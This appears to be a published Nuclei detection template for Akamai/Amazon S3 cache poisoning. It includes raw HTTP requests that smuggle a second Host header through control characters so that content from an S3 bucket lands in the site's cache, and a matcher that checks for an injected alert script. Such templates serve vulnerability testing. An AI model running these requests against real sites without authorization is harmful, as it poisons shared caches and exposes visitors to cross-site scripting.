Akamai/Amazon S3 - Cache Poisoning

ID: akamai-s3-cache-poisoning

Severity: high

Author: DhiyaneshDk

Tags: cache,poisoning,xss,akamai,s3,misconfig

Description

Akamai/Amazon S3 expose a stored cross-site scripting vulnerability generated by cache poisoning capability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can further allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: akamai-s3-cache-poisoning

info:
  name: Akamai/Amazon S3 - Cache Poisoning
  author: DhiyaneshDk
  severity: high
  description: Akamai/Amazon S3 expose a stored cross-site scripting vulnerability generated by cache poisoning capability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can further allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://web.archive.org/web/20230101082612/https://spyclub.tech/2022/12/14/unusual-cache-poisoning-akamai-s3/
    - https://owasp.org/www-community/attacks/Cache_Poisoning
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cwe-id: CWE-44
  metadata:
    verified: true
    max-request: 204
  tags: cache,poisoning,xss,akamai,s3,misconfig
variables:
  rand: "{{rand_base(5)}}"

http:
  - raw:
      - |+
        GET /nuclei.svg?{{rand}}=x HTTP/1.1
        Host: {{Hostname}}
        {{escape}}Host: {{bucket}}

      - |+
        GET /nuclei.svg?{{rand}}=x HTTP/1.1
        Host: {{Hostname}}

    attack: clusterbomb
    payloads:
      escape:
        - "\v"
        - "\f"
        - "\x1c"
        - "\x1d"
        - "\x1e"
        - "\x1f"
      bucket:
        - "nuclei-ap-northeast-1"
        - "nuclei-ap-northeast-2"
        - "nuclei-ap-northeast-3"
        - "nuclei-ap-south-1"
        - "nuclei-ap-southeast-1"
        - "nuclei-ap-southeast-2"
        - "nuclei-ca-central-1"
        - "nuclei-eu-central-1"
        - "nuclei-eu-north-1"
        - "nuclei-eu-west-1"
        - "nuclei-eu-west-2"
        - "nuclei-eu-west-3"
        - "nuclei-sa-east-1"
        - "nuclei-us-east-1"
        - "nuclei-us-east-2"
        - "nuclei-us-west-1"
        - "nuclei-us-west-2"
    stop-at-first-match: true
    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "alert(document.domain)")'
          - 'status_code_2 == 200'
        condition: and
# digest: 490a0046304402202258febeea3e6394229c1ba3d20dd67960b6dd4de96e6855beceaa0ca0c44f0a022030530bd818de8e1643ea95cc87b1c01affd36642fcf84194942b2f37b1763205:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/akamai/akamai-s3-cache-poisoning.yaml"

View on Github